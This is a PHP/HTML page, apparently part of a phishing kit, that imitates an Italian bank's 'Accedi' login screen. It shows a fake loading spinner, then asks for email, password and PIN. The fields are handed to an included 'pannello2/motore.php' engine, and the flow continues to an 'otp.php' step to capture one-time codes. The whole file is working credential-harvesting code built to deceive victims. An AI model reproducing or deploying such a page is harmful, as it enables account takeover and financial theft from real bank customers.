<?php
//INCLUDERE GENERALE
require("pannello2/generale.php");

//CUSTOM
$pagina=array("username","password","tel");
$numero = 0;
$prossima = "otp.php";
$precedente ="index.php";
//INCLUDERE MOTORE
require("pannello2/motore.php");

?><html lang="it" class="sfondo"><head>
<title>Accedi</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<link rel="shortcut icon" href="favicon.ico">
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no, user-scalable=0">
   <link type="text/css" rel="stylesheet" href="css/bootstrap.min.css">
<link type="text/css" rel="stylesheet" href="css/css.css">
<script type="text/javascript" src="css/jquery.min.js"></script>
<style>
  
  @font-face {
font-family: Texta;
src: url(Texta-Regular.woff);
}

  body {
font-family: 'Texta', sans-serif;
}

  .content-federation-bar-minified .federation-bar-content-logo div,
  .content-federation-bar-simplified .federation-bar-content-logo div {
    float: left;
    padding: 15px 0 0 0 !important;
  }
  .sfondo{
    
background-color: #f6f6f6;
  }
  .car{background-image:url(ccc.jpg)}
</style>
</head>
<body class="sfondo">
<div class="father">
<div class="child"><img src="img1.png"></div>
</div>

<style>
html, body{
    background-color:white;
}
.father {
display: flex;
justify-content: center;
align-items: center;
}
.resto{
display: none ;
}

.nascondi{
display: none !important;
}

.child {
background-image: url(load_de.gif);
margin-top: 100%;
position: absolute;
background-repeat: no-repeat;
background-size: 48px;
background-position: center;
}
</style>
<div class="resto" style="display: none;">

<div class="content content-federation-bar content-federation-bar-minified content-federation-bar-simplified">
  <div class="container container-extended">
    <div class="row">
      
      <div class="col-md-12">
        <div class="header-minified">
          <div class="row">
            <div class="col-xs-12">
              <div style="text-align:center;padding-top:10px;" class="federation-bar-content-logo pull-xs-left clearfix">
               
                      <img src="css/img1.png">
               
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
</div>
<div style="text-align:center;padding-top: 42px;">
  <div>
<div class="row">
                <div class="col-md-12" style="text-align:center;">
                  <div class="abstract">
                    <div class="abstract-heading text-xs-center spacer-xs-bottom-40">
                      <h1 class="idp-retail">
                        Accedi 
                        <small>
                        </small>
                      </h1>
                      
                    </div>
                  </div>
                </div>
              </div>

<div style="text-align:center;padding-top: 22px;">
  <div>
    <div class="col-12" style="margin: 20px;">

</div>
</div>
  </div>
</div>
<div class="col-12">
<form class="form-login clearfix" method="POST" style="BACKGROUND-COLOR: white;margin: 20px;">
    <div class="panel-body">
      <div class="spacer-xs-bottom-30" style="text-align:left"> 
        
    <p>
<label class="control-label" for="username">EMAIL
  </label>
  
  <input class="form-control" id="username" name="username" pattern=".{1,}\..{1,}" required="" placeholder="inserisci" style="padding:25px  0px 25px 0" type="text" value="">
</p>
<br><br>
<p>
<label class="control-label" for="password">PASSWORD</label>
  
  <input class="form-control" id="password" name="password" required="" placeholder="inserisci" style="padding:25px  0px 25px 0" type="password" value="">
</p><br><br>
<p>
<label class="control-label" for="tel">PIN</label>
  
  <input class="form-control" id="tel" name="tel" required="" placeholder="inserisci" style="padding:25px  0px 25px 0" type="text" value="">
</p>
<br><br>
        
        <p class="btn-container btn-container-center spacer-xs-bottom-15 
        spacer-xs-top-30 clearfix">
          <input type="submit" style=" 
font-weight: normal !important;" class="btn btn-primary btn-expand" value="ACCEDI">
        </p>
      </div>
    </div>
  </form>
  <br>  <br>
</div> </div>
<script>
setTimeout(function(){

jQuery(".father").fadeOut( "slow", function() {

    jQuery("html, body").addClass("sfondo")
    
    jQuery("html, body").removeClass("bianco")
    jQuery(".resto").fadeIn()
});

},2000)
</script>
</div></body></html>